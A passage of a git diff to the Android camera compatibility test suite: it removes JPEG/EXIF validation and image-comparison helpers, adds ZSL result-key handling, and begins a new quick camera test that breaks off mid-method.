-    public static List<Range<Integer>> getTargetFpsRangesGreaterThan30(StaticMetadata staticInfo) {
-        Range<Integer>[] fpsRanges = staticInfo.getAeAvailableTargetFpsRangesChecked();
-        ArrayList<Range<Integer>> fpsRangesGreaterThan30 = new ArrayList<Range<Integer>>();
-        for (Range<Integer> fpsRange : fpsRanges) {
-            if (fpsRange.getUpper() > 30) {
-                fpsRangesGreaterThan30.add(fpsRange);
-            }
-        }
-        return fpsRangesGreaterThan30;
-    }
-
-    /**
-     * Calculate output 3A region from the intersection of input 3A region and cropped region.
-     *
-     * @param requestRegions The input 3A regions
-     * @param cropRect The cropped region
-     * @return expected 3A regions output in capture result
-     */
-    public static MeteringRectangle[] getExpectedOutputRegion(
-            MeteringRectangle[] requestRegions, Rect cropRect){
-        MeteringRectangle[] resultRegions = new MeteringRectangle[requestRegions.length];
-        for (int i = 0; i < requestRegions.length; i++) {
-            Rect requestRect = requestRegions[i].getRect();
-            Rect resultRect = new Rect();
-            assertTrue("Input 3A region must intersect cropped region",
-                        resultRect.setIntersect(requestRect, cropRect));
-            resultRegions[i] = new MeteringRectangle(
-                    resultRect,
-                    requestRegions[i].getMeteringWeight());
-        }
-        return resultRegions;
-    }
-
-    /**
-     * Copy source image data to destination image.
-     *
-     * @param src The source image to be copied from.
-     * @param dst The destination image to be copied to.
-     * @throws IllegalArgumentException If the source and destination images have
-     *             different format, or one of the images is not copyable.
-     */
-    public static void imageCopy(Image src, Image dst) {
-        if (src == null || dst == null) {
-            throw new IllegalArgumentException("Images should be non-null");
-        }
-        if (src.getFormat() != dst.getFormat()) {
-            throw new IllegalArgumentException("Src and dst images should have the same format");
-        }
-        if (src.getFormat() == ImageFormat.PRIVATE ||
-                dst.getFormat() == ImageFormat.PRIVATE) {
-            throw new IllegalArgumentException("PRIVATE format images are not copyable");
-        }
-
-        // TODO: check the owner of the dst image, it must be from ImageWriter, other source may
-        // not be writable. Maybe we should add an isWritable() method in image class.
-
-        Plane[] srcPlanes = src.getPlanes();
-        Plane[] dstPlanes = dst.getPlanes();
-        ByteBuffer srcBuffer = null;
-        ByteBuffer dstBuffer = null;
-        for (int i = 0; i < srcPlanes.length; i++) {
-            srcBuffer = srcPlanes[i].getBuffer();
-            int srcPos = srcBuffer.position();
-            srcBuffer.rewind();
-            dstBuffer = dstPlanes[i].getBuffer();
-            dstBuffer.rewind();
-            dstBuffer.put(srcBuffer);
-            srcBuffer.position(srcPos);
-            dstBuffer.rewind();
-        }
-    }
-
-    /**
-     * <p>
-     * Checks whether the two images are strongly equal.
-     * </p>
-     * <p>
-     * Two images are strongly equal if and only if the data, formats, sizes,
-     * and timestamps are same. For {@link ImageFormat#PRIVATE PRIVATE} format
-     * images, the image data is not not accessible thus the data comparison is
-     * effectively skipped as the number of planes is zero.
-     * </p>
-     * <p>
-     * Note that this method compares the pixel data even outside of the crop
-     * region, which may not be necessary for general use case.
-     * </p>
-     *
-     * @param lhsImg First image to be compared with.
-     * @param rhsImg Second image to be compared with.
-     * @return true if the two images are equal, false otherwise.
-     * @throws IllegalArgumentException If either of image is null.
-     */
-    public static boolean isImageStronglyEqual(Image lhsImg, Image rhsImg) {
-        if (lhsImg == null || rhsImg == null) {
-            throw new IllegalArgumentException("Images should be non-null");
-        }
-
-        if (lhsImg.getFormat() != rhsImg.getFormat()) {
-            Log.i(TAG, "lhsImg format " + lhsImg.getFormat() + " is different with rhsImg format "
-                    + rhsImg.getFormat());
-            return false;
-        }
-
-        if (lhsImg.getWidth() != rhsImg.getWidth()) {
-            Log.i(TAG, "lhsImg width " + lhsImg.getWidth() + " is different with rhsImg width "
-                    + rhsImg.getWidth());
-            return false;
-        }
-
-        if (lhsImg.getHeight() != rhsImg.getHeight()) {
-            Log.i(TAG, "lhsImg height " + lhsImg.getHeight() + " is different with rhsImg height "
-                    + rhsImg.getHeight());
-            return false;
-        }
-
-        if (lhsImg.getTimestamp() != rhsImg.getTimestamp()) {
-            Log.i(TAG, "lhsImg timestamp " + lhsImg.getTimestamp()
-                    + " is different with rhsImg timestamp " + rhsImg.getTimestamp());
-            return false;
-        }
-
-        if (!lhsImg.getCropRect().equals(rhsImg.getCropRect())) {
-            Log.i(TAG, "lhsImg crop rect " + lhsImg.getCropRect()
-                    + " is different with rhsImg crop rect " + rhsImg.getCropRect());
-            return false;
-        }
-
-        // Compare data inside of the image.
-        Plane[] lhsPlanes = lhsImg.getPlanes();
-        Plane[] rhsPlanes = rhsImg.getPlanes();
-        ByteBuffer lhsBuffer = null;
-        ByteBuffer rhsBuffer = null;
-        for (int i = 0; i < lhsPlanes.length; i++) {
-            lhsBuffer = lhsPlanes[i].getBuffer();
-            rhsBuffer = rhsPlanes[i].getBuffer();
-            if (!lhsBuffer.equals(rhsBuffer)) {
-                Log.i(TAG, "byte buffers for plane " +  i + " don't matach.");
-                return false;
-            }
-        }
-
-        return true;
-    }
-
-    /**
-     * Set jpeg related keys in a capture request builder.
-     *
-     * @param builder The capture request builder to set the keys inl
-     * @param exifData The exif data to set.
-     * @param thumbnailSize The thumbnail size to set.
-     * @param collector The camera error collector to collect errors.
-     */
-    public static void setJpegKeys(CaptureRequest.Builder builder, ExifTestData exifData,
-            Size thumbnailSize, CameraErrorCollector collector) {
-        builder.set(CaptureRequest.JPEG_THUMBNAIL_SIZE, thumbnailSize);
-        builder.set(CaptureRequest.JPEG_GPS_LOCATION, exifData.gpsLocation);
-        builder.set(CaptureRequest.JPEG_ORIENTATION, exifData.jpegOrientation);
-        builder.set(CaptureRequest.JPEG_QUALITY, exifData.jpegQuality);
-        builder.set(CaptureRequest.JPEG_THUMBNAIL_QUALITY,
-                exifData.thumbnailQuality);
-
-        // Validate request set and get.
-        collector.expectEquals("JPEG thumbnail size request set and get should match",
-                thumbnailSize, builder.get(CaptureRequest.JPEG_THUMBNAIL_SIZE));
-        collector.expectTrue("GPS locations request set and get should match.",
-                areGpsFieldsEqual(exifData.gpsLocation,
-                builder.get(CaptureRequest.JPEG_GPS_LOCATION)));
-        collector.expectEquals("JPEG orientation request set and get should match",
-                exifData.jpegOrientation,
-                builder.get(CaptureRequest.JPEG_ORIENTATION));
-        collector.expectEquals("JPEG quality request set and get should match",
-                exifData.jpegQuality, builder.get(CaptureRequest.JPEG_QUALITY));
-        collector.expectEquals("JPEG thumbnail quality request set and get should match",
-                exifData.thumbnailQuality,
-                builder.get(CaptureRequest.JPEG_THUMBNAIL_QUALITY));
-    }
-
-    /**
-     * Simple validation of JPEG image size and format.
-     * <p>
-     * Only validate the image object sanity. It is fast, but doesn't actually
-     * check the buffer data. Assert is used here as it make no sense to
-     * continue the test if the jpeg image captured has some serious failures.
-     * </p>
-     *
-     * @param image The captured jpeg image
-     * @param expectedSize Expected capture jpeg size
-     */
-    public static void basicValidateJpegImage(Image image, Size expectedSize) {
-        Size imageSz = new Size(image.getWidth(), image.getHeight());
-        assertTrue(
-                String.format("Image size doesn't match (expected %s, actual %s) ",
-                        expectedSize.toString(), imageSz.toString()), expectedSize.equals(imageSz));
-        assertEquals("Image format should be JPEG", ImageFormat.JPEG, image.getFormat());
-        assertNotNull("Image plane shouldn't be null", image.getPlanes());
-        assertEquals("Image plane number should be 1", 1, image.getPlanes().length);
-
-        // Jpeg decoding validate was done in ImageReaderTest, no need to duplicate the test here.
-    }
-
-    /**
-     * Verify the JPEG EXIF and JPEG related keys in a capture result are expected.
-     * - Capture request get values are same as were set.
-     * - capture result's exif data is the same as was set by
-     *   the capture request.
-     * - new tags in the result set by the camera service are
-     *   present and semantically correct.
-     *
-     * @param image The output JPEG image to verify.
-     * @param captureResult The capture result to verify.
-     * @param expectedSize The expected JPEG size.
-     * @param expectedThumbnailSize The expected thumbnail size.
-     * @param expectedExifData The expected EXIF data
-     * @param staticInfo The static metadata for the camera device.
-     * @param jpegFilename The filename to dump the jpeg to.
-     * @param collector The camera error collector to collect errors.
-     */
-    public static void verifyJpegKeys(Image image, CaptureResult captureResult, Size expectedSize,
-            Size expectedThumbnailSize, ExifTestData expectedExifData, StaticMetadata staticInfo,
-            CameraErrorCollector collector) throws Exception {
-
-        basicValidateJpegImage(image, expectedSize);
-
-        byte[] jpegBuffer = getDataFromImage(image);
-        // Have to dump into a file to be able to use ExifInterface
-        String jpegFilename = DEBUG_FILE_NAME_BASE + "/verifyJpegKeys.jpeg";
-        dumpFile(jpegFilename, jpegBuffer);
-        ExifInterface exif = new ExifInterface(jpegFilename);
-
-        if (expectedThumbnailSize.equals(new Size(0,0))) {
-            collector.expectTrue("Jpeg shouldn't have thumbnail when thumbnail size is (0, 0)",
-                    !exif.hasThumbnail());
-        } else {
-            collector.expectTrue("Jpeg must have thumbnail for thumbnail size " +
-                    expectedThumbnailSize, exif.hasThumbnail());
-        }
-
-        // Validate capture result vs. request
-        Size resultThumbnailSize = captureResult.get(CaptureResult.JPEG_THUMBNAIL_SIZE);
-        int orientationTested = expectedExifData.jpegOrientation;
-        // Legacy shim always doesn't rotate thumbnail size
-        if ((orientationTested == 90 || orientationTested == 270) &&
-                staticInfo.isHardwareLevelAtLeastLimited()) {
-            int exifOrientation = exif.getAttributeInt(ExifInterface.TAG_ORIENTATION,
-                    /*defaultValue*/-1);
-            if (exifOrientation == ExifInterface.ORIENTATION_UNDEFINED) {
-                // Device physically rotated image+thumbnail data
-                // Expect thumbnail size to be also rotated
-                resultThumbnailSize = new Size(resultThumbnailSize.getHeight(),
-                        resultThumbnailSize.getWidth());
-            }
-        }
-
-        collector.expectEquals("JPEG thumbnail size result and request should match",
-                expectedThumbnailSize, resultThumbnailSize);
-        if (collector.expectKeyValueNotNull(captureResult, CaptureResult.JPEG_GPS_LOCATION) !=
-                null) {
-            collector.expectTrue("GPS location result and request should match.",
-                    areGpsFieldsEqual(expectedExifData.gpsLocation,
-                    captureResult.get(CaptureResult.JPEG_GPS_LOCATION)));
-        }
-        collector.expectEquals("JPEG orientation result and request should match",
-                expectedExifData.jpegOrientation,
-                captureResult.get(CaptureResult.JPEG_ORIENTATION));
-        collector.expectEquals("JPEG quality result and request should match",
-                expectedExifData.jpegQuality, captureResult.get(CaptureResult.JPEG_QUALITY));
-        collector.expectEquals("JPEG thumbnail quality result and request should match",
-                expectedExifData.thumbnailQuality,
-                captureResult.get(CaptureResult.JPEG_THUMBNAIL_QUALITY));
-
-        // Validate other exif tags for all non-legacy devices
-        if (!staticInfo.isHardwareLevelLegacy()) {
-            verifyJpegExifExtraTags(exif, expectedSize, captureResult, staticInfo, collector);
-        }
-    }
-
-    /**
-     * Get the degree of an EXIF orientation.
-     */
-    private static int getExifOrientationInDegree(int exifOrientation,
-            CameraErrorCollector collector) {
-        switch (exifOrientation) {
-            case ExifInterface.ORIENTATION_NORMAL:
-                return 0;
-            case ExifInterface.ORIENTATION_ROTATE_90:
-                return 90;
-            case ExifInterface.ORIENTATION_ROTATE_180:
-                return 180;
-            case ExifInterface.ORIENTATION_ROTATE_270:
-                return 270;
-            default:
-                collector.addMessage("It is impossible to get non 0, 90, 180, 270 degress exif" +
-                        "info based on the request orientation range");
-                return 0;
-        }
-    }
-
-    /**
-     * Validate and return the focal length.
-     *
-     * @param result Capture result to get the focal length
-     * @return Focal length from capture result or -1 if focal length is not available.
-     */
-    private static float validateFocalLength(CaptureResult result, StaticMetadata staticInfo,
-            CameraErrorCollector collector) {
-        float[] focalLengths = staticInfo.getAvailableFocalLengthsChecked();
-        Float resultFocalLength = result.get(CaptureResult.LENS_FOCAL_LENGTH);
-        if (collector.expectTrue("Focal length is invalid",
-                resultFocalLength != null && resultFocalLength > 0)) {
-            List<Float> focalLengthList =
-                    Arrays.asList(CameraTestUtils.toObject(focalLengths));
-            collector.expectTrue("Focal length should be one of the available focal length",
-                    focalLengthList.contains(resultFocalLength));
-            return resultFocalLength;
-        }
-        return -1;
-    }
-
-    /**
-     * Validate and return the aperture.
-     *
-     * @param result Capture result to get the aperture
-     * @return Aperture from capture result or -1 if aperture is not available.
-     */
-    private static float validateAperture(CaptureResult result, StaticMetadata staticInfo,
-            CameraErrorCollector collector) {
-        float[] apertures = staticInfo.getAvailableAperturesChecked();
-        Float resultAperture = result.get(CaptureResult.LENS_APERTURE);
-        if (collector.expectTrue("Capture result aperture is invalid",
-                resultAperture != null && resultAperture > 0)) {
-            List<Float> apertureList =
-                    Arrays.asList(CameraTestUtils.toObject(apertures));
-            collector.expectTrue("Aperture should be one of the available apertures",
-                    apertureList.contains(resultAperture));
-            return resultAperture;
-        }
-        return -1;
-    }
-
-    /**
-     * Return the closest value in an array of floats.
-     */
-    private static float getClosestValueInArray(float[] values, float target) {
-        int minIdx = 0;
-        float minDistance = Math.abs(values[0] - target);
-        for(int i = 0; i < values.length; i++) {
-            float distance = Math.abs(values[i] - target);
-            if (minDistance > distance) {
-                minDistance = distance;
-                minIdx = i;
-            }
-        }
-
-        return values[minIdx];
-    }
-
-    /**
-     * Return if two Location's GPS field are the same.
-     */
-    private static boolean areGpsFieldsEqual(Location a, Location b) {
-        if (a == null || b == null) {
-            return false;
-        }
-
-        return a.getTime() == b.getTime() && a.getLatitude() == b.getLatitude() &&
-                a.getLongitude() == b.getLongitude() && a.getAltitude() == b.getAltitude() &&
-                a.getProvider() == b.getProvider();
-    }
-
-    /**
-     * Verify extra tags in JPEG EXIF
-     */
-    private static void verifyJpegExifExtraTags(ExifInterface exif, Size jpegSize,
-            CaptureResult result, StaticMetadata staticInfo, CameraErrorCollector collector)
-            throws ParseException {
-        /**
-         * TAG_IMAGE_WIDTH and TAG_IMAGE_LENGTH and TAG_ORIENTATION.
-         * Orientation and exif width/height need to be tested carefully, two cases:
-         *
-         * 1. Device rotate the image buffer physically, then exif width/height may not match
-         * the requested still capture size, we need swap them to check.
-         *
-         * 2. Device use the exif tag to record the image orientation, it doesn't rotate
-         * the jpeg image buffer itself. In this case, the exif width/height should always match
-         * the requested still capture size, and the exif orientation should always match the
-         * requested orientation.
-         *
-         */
-        int exifWidth = exif.getAttributeInt(ExifInterface.TAG_IMAGE_WIDTH, /*defaultValue*/0);
-        int exifHeight = exif.getAttributeInt(ExifInterface.TAG_IMAGE_LENGTH, /*defaultValue*/0);
-        Size exifSize = new Size(exifWidth, exifHeight);
-        // Orientation could be missing, which is ok, default to 0.
-        int exifOrientation = exif.getAttributeInt(ExifInterface.TAG_ORIENTATION,
-                /*defaultValue*/-1);
-        // Get requested orientation from result, because they should be same.
-        if (collector.expectKeyValueNotNull(result, CaptureResult.JPEG_ORIENTATION) != null) {
-            int requestedOrientation = result.get(CaptureResult.JPEG_ORIENTATION);
-            final int ORIENTATION_MIN = ExifInterface.ORIENTATION_UNDEFINED;
-            final int ORIENTATION_MAX = ExifInterface.ORIENTATION_ROTATE_270;
-            boolean orientationValid = collector.expectTrue(String.format(
-                    "Exif orientation must be in range of [%d, %d]",
-                    ORIENTATION_MIN, ORIENTATION_MAX),
-                    exifOrientation >= ORIENTATION_MIN && exifOrientation <= ORIENTATION_MAX);
-            if (orientationValid) {
-                /**
-                 * Device captured image doesn't respect the requested orientation,
-                 * which means it rotates the image buffer physically. Then we
-                 * should swap the exif width/height accordingly to compare.
-                 */
-                boolean deviceRotatedImage = exifOrientation == ExifInterface.ORIENTATION_UNDEFINED;
-
-                if (deviceRotatedImage) {
-                    // Case 1.
-                    boolean needSwap = (requestedOrientation % 180 == 90);
-                    if (needSwap) {
-                        exifSize = new Size(exifHeight, exifWidth);
-                    }
-                } else {
-                    // Case 2.
-                    collector.expectEquals("Exif orientaiton should match requested orientation",
-                            requestedOrientation, getExifOrientationInDegree(exifOrientation,
-                            collector));
-                }
-            }
-        }
-
-        /**
-         * Ideally, need check exifSize == jpegSize == actual buffer size. But
-         * jpegSize == jpeg decode bounds size(from jpeg jpeg frame
-         * header, not exif) was validated in ImageReaderTest, no need to
-         * validate again here.
-         */
-        collector.expectEquals("Exif size should match jpeg capture size", jpegSize, exifSize);
-
-        // TAG_DATETIME, it should be local time
-        long currentTimeInMs = System.currentTimeMillis();
-        long currentTimeInSecond = currentTimeInMs / 1000;
-        Date date = new Date(currentTimeInMs);
-        String localDatetime = new SimpleDateFormat("yyyy:MM:dd HH:").format(date);
-        String dateTime = exif.getAttribute(ExifInterface.TAG_DATETIME);
-        if (collector.expectTrue("Exif TAG_DATETIME shouldn't be null", dateTime != null)) {
-            collector.expectTrue("Exif TAG_DATETIME is wrong",
-                    dateTime.length() == EXIF_DATETIME_LENGTH);
-            long exifTimeInSecond =
-                    new SimpleDateFormat("yyyy:MM:dd HH:mm:ss").parse(dateTime).getTime() / 1000;
-            long delta = currentTimeInSecond - exifTimeInSecond;
-            collector.expectTrue("Capture time deviates too much from the current time",
-                    Math.abs(delta) < EXIF_DATETIME_ERROR_MARGIN_SEC);
-            // It should be local time.
-            collector.expectTrue("Exif date time should be local time",
-                    dateTime.startsWith(localDatetime));
-        }
-
-        // TAG_FOCAL_LENGTH.
-        float[] focalLengths = staticInfo.getAvailableFocalLengthsChecked();
-        float exifFocalLength = (float)exif.getAttributeDouble(ExifInterface.TAG_FOCAL_LENGTH, -1);
-        collector.expectEquals("Focal length should match",
-                getClosestValueInArray(focalLengths, exifFocalLength),
-                exifFocalLength, EXIF_FOCAL_LENGTH_ERROR_MARGIN);
-        // More checks for focal length.
-        collector.expectEquals("Exif focal length should match capture result",
-                validateFocalLength(result, staticInfo, collector),
-                exifFocalLength, EXIF_FOCAL_LENGTH_ERROR_MARGIN);
-
-        // TAG_EXPOSURE_TIME
-        // ExifInterface API gives exposure time value in the form of float instead of rational
-        String exposureTime = exif.getAttribute(ExifInterface.TAG_EXPOSURE_TIME);
-        collector.expectNotNull("Exif TAG_EXPOSURE_TIME shouldn't be null", exposureTime);
-        if (staticInfo.areKeysAvailable(CaptureResult.SENSOR_EXPOSURE_TIME)) {
-            if (exposureTime != null) {
-                double exposureTimeValue = Double.parseDouble(exposureTime);
-                long expTimeResult = result.get(CaptureResult.SENSOR_EXPOSURE_TIME);
-                double expected = expTimeResult / 1e9;
-                double tolerance = expected * EXIF_EXPOSURE_TIME_ERROR_MARGIN_RATIO;
-                tolerance = Math.max(tolerance, EXIF_EXPOSURE_TIME_MIN_ERROR_MARGIN_SEC);
-                collector.expectEquals("Exif exposure time doesn't match", expected,
-                        exposureTimeValue, tolerance);
-            }
-        }
-
-        // TAG_APERTURE
-        // ExifInterface API gives aperture value in the form of float instead of rational
-        String exifAperture = exif.getAttribute(ExifInterface.TAG_APERTURE);
-        collector.expectNotNull("Exif TAG_APERTURE shouldn't be null", exifAperture);
-        if (staticInfo.areKeysAvailable(CameraCharacteristics.LENS_INFO_AVAILABLE_APERTURES)) {
-            float[] apertures = staticInfo.getAvailableAperturesChecked();
-            if (exifAperture != null) {
-                float apertureValue = Float.parseFloat(exifAperture);
-                collector.expectEquals("Aperture value should match",
-                        getClosestValueInArray(apertures, apertureValue),
-                        apertureValue, EXIF_APERTURE_ERROR_MARGIN);
-                // More checks for aperture.
-                collector.expectEquals("Exif aperture length should match capture result",
-                        validateAperture(result, staticInfo, collector),
-                        apertureValue, EXIF_APERTURE_ERROR_MARGIN);
-            }
-        }
-
-        /**
-         * TAG_FLASH. TODO: For full devices, can check a lot more info
-         * (http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/EXIF.html#Flash)
-         */
-        String flash = exif.getAttribute(ExifInterface.TAG_FLASH);
-        collector.expectNotNull("Exif TAG_FLASH shouldn't be null", flash);
-
-        /**
-         * TAG_WHITE_BALANCE. TODO: For full devices, with the DNG tags, we
-         * should be able to cross-check android.sensor.referenceIlluminant.
-         */
-        String whiteBalance = exif.getAttribute(ExifInterface.TAG_WHITE_BALANCE);
-        collector.expectNotNull("Exif TAG_WHITE_BALANCE shouldn't be null", whiteBalance);
-
-        // TAG_MAKE
-        String make = exif.getAttribute(ExifInterface.TAG_MAKE);
-        collector.expectEquals("Exif TAG_MAKE is incorrect", Build.MANUFACTURER, make);
-
-        // TAG_MODEL
-        String model = exif.getAttribute(ExifInterface.TAG_MODEL);
-        collector.expectEquals("Exif TAG_MODEL is incorrect", Build.MODEL, model);
-
-
-        // TAG_ISO
-        int iso = exif.getAttributeInt(ExifInterface.TAG_ISO, /*defaultValue*/-1);
-        if (staticInfo.areKeysAvailable(CaptureResult.SENSOR_SENSITIVITY) ||
-                staticInfo.areKeysAvailable(CaptureResult.CONTROL_POST_RAW_SENSITIVITY_BOOST)) {
-            int expectedIso = 100;
-            if (staticInfo.areKeysAvailable(CaptureResult.SENSOR_SENSITIVITY)) {
-                expectedIso = result.get(CaptureResult.SENSOR_SENSITIVITY);
-            }
-            if (staticInfo.areKeysAvailable(CaptureResult.CONTROL_POST_RAW_SENSITIVITY_BOOST)) {
-                expectedIso = expectedIso *
-                        result.get(CaptureResult.CONTROL_POST_RAW_SENSITIVITY_BOOST) / 100;
-            }
-            collector.expectEquals("Exif TAG_ISO is incorrect", expectedIso, iso);
-        }
-
-        // TAG_DATETIME_DIGITIZED (a.k.a Create time for digital cameras).
-        String digitizedTime = exif.getAttribute(ExifInterface.TAG_DATETIME_DIGITIZED);
-        collector.expectNotNull("Exif TAG_DATETIME_DIGITIZED shouldn't be null", digitizedTime);
-        if (digitizedTime != null) {
-            String expectedDateTime = exif.getAttribute(ExifInterface.TAG_DATETIME);
-            collector.expectNotNull("Exif TAG_DATETIME shouldn't be null", expectedDateTime);
-            if (expectedDateTime != null) {
-                collector.expectEquals("dataTime should match digitizedTime",
-                        expectedDateTime, digitizedTime);
-            }
-        }
-
-        /**
-         * TAG_SUBSEC_TIME. Since the sub second tag strings are truncated to at
-         * most 9 digits in ExifInterface implementation, use getAttributeInt to
-         * sanitize it. When the default value -1 is returned, it means that
-         * this exif tag either doesn't exist or is a non-numerical invalid
-         * string. Same rule applies to the rest of sub second tags.
-         */
-        int subSecTime = exif.getAttributeInt(ExifInterface.TAG_SUBSEC_TIME, /*defaultValue*/-1);
-        collector.expectTrue("Exif TAG_SUBSEC_TIME value is null or invalid!", subSecTime > 0);
-
-        // TAG_SUBSEC_TIME_ORIG
-        int subSecTimeOrig = exif.getAttributeInt(ExifInterface.TAG_SUBSEC_TIME_ORIG,
-                /*defaultValue*/-1);
-        collector.expectTrue("Exif TAG_SUBSEC_TIME_ORIG value is null or invalid!",
-                subSecTimeOrig > 0);
-
-        // TAG_SUBSEC_TIME_DIG
-        int subSecTimeDig = exif.getAttributeInt(ExifInterface.TAG_SUBSEC_TIME_DIG,
-                /*defaultValue*/-1);
-        collector.expectTrue(
-                "Exif TAG_SUBSEC_TIME_DIG value is null or invalid!", subSecTimeDig > 0);
-    }
-
-
-    /**
-     * Immutable class wrapping the exif test data.
-     */
-    public static class ExifTestData {
-        public final Location gpsLocation;
-        public final int jpegOrientation;
-        public final byte jpegQuality;
-        public final byte thumbnailQuality;
-
-        public ExifTestData(Location location, int orientation,
-                byte jpgQuality, byte thumbQuality) {
-            gpsLocation = location;
-            jpegOrientation = orientation;
-            jpegQuality = jpgQuality;
-            thumbnailQuality = thumbQuality;
-        }
-    }
-
-    public static Size getPreviewSizeBound(WindowManager windowManager, Size bound) {
-        Display display = windowManager.getDefaultDisplay();
-
-        int width = display.getWidth();
-        int height = display.getHeight();
-
-        if (height > width) {
-            height = width;
-            width = display.getHeight();
-        }
-
-        if (bound.getWidth() <= width &&
-            bound.getHeight() <= height)
-            return bound;
-        else
-            return new Size(width, height);
-    }
-
-    /**
-     * Check if a particular stream configuration is supported by configuring it
-     * to the device.
-     */
-    public static boolean isStreamConfigurationSupported(CameraDevice camera,
-            List<Surface> outputSurfaces,
-            CameraCaptureSession.StateCallback listener, Handler handler) {
-        try {
-            configureCameraSession(camera, outputSurfaces, listener, handler);
-            return true;
-        } catch (Exception e) {
-            Log.i(TAG, "This stream configuration is not supported due to " + e.getMessage());
-            return false;
-        }
-    }
-}
diff --git a/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java b/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java
index 802c500..b29fd57 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java
@@ -531,6 +531,10 @@
             waiverKeys.add(CaptureResult.SENSOR_DYNAMIC_WHITE_LEVEL);
         }
 
+        if (!mStaticInfo.isEnableZslSupported()) {
+            waiverKeys.add(CaptureResult.CONTROL_ENABLE_ZSL);
+        }
+
         if (mStaticInfo.isHardwareLevelAtLeastFull()) {
             return waiverKeys;
         }
@@ -765,6 +769,7 @@
         resultKeys.add(CaptureResult.CONTROL_AF_STATE);
         resultKeys.add(CaptureResult.CONTROL_AWB_STATE);
         resultKeys.add(CaptureResult.CONTROL_POST_RAW_SENSITIVITY_BOOST);
+        resultKeys.add(CaptureResult.CONTROL_ENABLE_ZSL);
         resultKeys.add(CaptureResult.EDGE_MODE);
         resultKeys.add(CaptureResult.FLASH_MODE);
         resultKeys.add(CaptureResult.FLASH_STATE);
diff --git a/tests/camera/src/android/hardware/camera2/cts/FastBasicsTest.java b/tests/camera/src/android/hardware/camera2/cts/FastBasicsTest.java
new file mode 100644
index 0000000..c4ae61b
--- /dev/null
+++ b/tests/camera/src/android/hardware/camera2/cts/FastBasicsTest.java
@@ -0,0 +1,216 @@
+/*
+ * Copyright 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.camera2.cts;
+
+import static android.hardware.camera2.cts.CameraTestUtils.*;
+
+import com.android.ex.camera2.blocking.BlockingSessionCallback;
+
+import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
+import android.graphics.ImageFormat;
+import android.graphics.SurfaceTexture;
+import android.hardware.Camera;
+import android.hardware.camera2.CameraCharacteristics;
+import android.hardware.camera2.CameraDevice;
+import android.hardware.camera2.CaptureRequest;
+import android.hardware.camera2.CaptureResult;
+import android.media.Image;
+import android.platform.test.annotations.Presubmit;
+import android.util.Log;
+import android.util.Size;
+
+import java.nio.ByteBuffer;
+
+import android.hardware.camera2.cts.Camera2SurfaceViewCtsActivity;
+import android.hardware.camera2.cts.CameraTestUtils.SimpleCaptureCallback;
+import android.hardware.camera2.cts.CameraTestUtils.SimpleImageReaderListener;
+import android.hardware.camera2.cts.testcases.Camera2SurfaceViewTestCase;
+
+/**
+ * Quick-running test for very basic camera operation for all cameras
+ * and both camera APIs.
+ *
+ * May not take more than a few seconds to run, to be suitable for quick
+ * testing.
+ */
+@Presubmit
+public class FastBasicsTest extends Camera2SurfaceViewTestCase {
+    private static final String TAG = "FastBasicsTest";
+    private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
+    private static final boolean DEBUG = Log.isLoggable(TAG, Log.DEBUG);
+
+    private static final int WAIT_FOR_FRAMES_TIMEOUT_MS = 3000;
+    private static final int WAIT_FOR_PICTURE_TIMEOUT_MS = 5000;
+    private static final int FRAMES_TO_WAIT_FOR_CAPTURE = 100;
+
+    public void testCamera2() throws Exception {
+        for (int i = 0; i < mCameraIds.length; i++) {
+            try {
+                Log.i(TAG, "Testing camera2 API for camera device " + mCameraIds[i]);
+                openDevice(mCameraIds[i]);
+
+                if (!mStaticInfo.isColorOutputSupported()) {
+                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                            " does not support color outputs, skipping");
+                    continue;
+                }
+
+                camera2TestByCamera();
+            } finally {
+                closeDevice();
+            }
+        }
+    }
+
+    public void camera2TestByCamera() throws Exception {
+        CaptureRequest.Builder previewRequest =
+                mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
+        CaptureRequest.Builder stillCaptureRequest =
+                mCamera.createCaptureRequest(CameraDevice.TEMPLATE_STILL_CAPTURE);
+        Size previewSize = mOrderedPreviewSizes.get(0);
+        Size stillSize = mOrderedStillSizes.get(0);
+        SimpleCaptureCallback resultListener = new SimpleCaptureCallback();
+        SimpleImageReaderListener imageListener = new SimpleImageReaderListener();
+
+        prepareStillCaptureAndStartPreview(previewRequest, stillCaptureRequest,
+                previewSize, stillSize, resultListener, imageListener);
+
+        CaptureResult result = resultListener.getCaptureResult(WAIT_FOR_FRAMES_TIMEOUT_MS);
+
+        Long timestamp = result.get(CaptureResult.SENSOR_TIMESTAMP);
+        assertNotNull("Can't read a capture result timestamp", timestamp);
+
+        CaptureResult result2 = resultListener.getCaptureResult(WAIT_FOR_FRAMES_TIMEOUT_MS);
+
+        Long timestamp2 = result2.get(CaptureResult.SENSOR_TIMESTAMP);
+        assertNotNull("Can't read a capture result 2 timestamp", timestamp2);
+
+        assertTrue("Bad timestamps", timestamp2 > timestamp);
+
+        CaptureRequest capture = stillCaptureRequest.build();
+        mSession.capture(capture, resultListener, mHandler);
+
+        CaptureResult stillResult =
+                resultListener.getTotalCaptureResultForRequest(capture, FRAMES_TO_WAIT_FOR_CAPTURE);
+
+        Long timestamp3 = stillResult.get(CaptureResult.SENSOR_TIMESTAMP);
+        assertNotNull("Can't read a still capture result timestamp", timestamp3);
+
+        assertTrue("Bad timestamps", timestamp3 > timestamp2);
+
+        Image img = imageListener.getImage(WAIT_FOR_PICTURE_TIMEOUT_MS);
+
+        ByteBuffer jpegBuffer = img.getPlanes()[0].getBuffer();
+        byte[] jpegData = new byte[jpegBuffer.remaining()];
+        jpegBuffer.get(jpegData);
+
+        Bitmap b = BitmapFactory.decodeByteArray(jpegData, 0, jpegData.length);
+
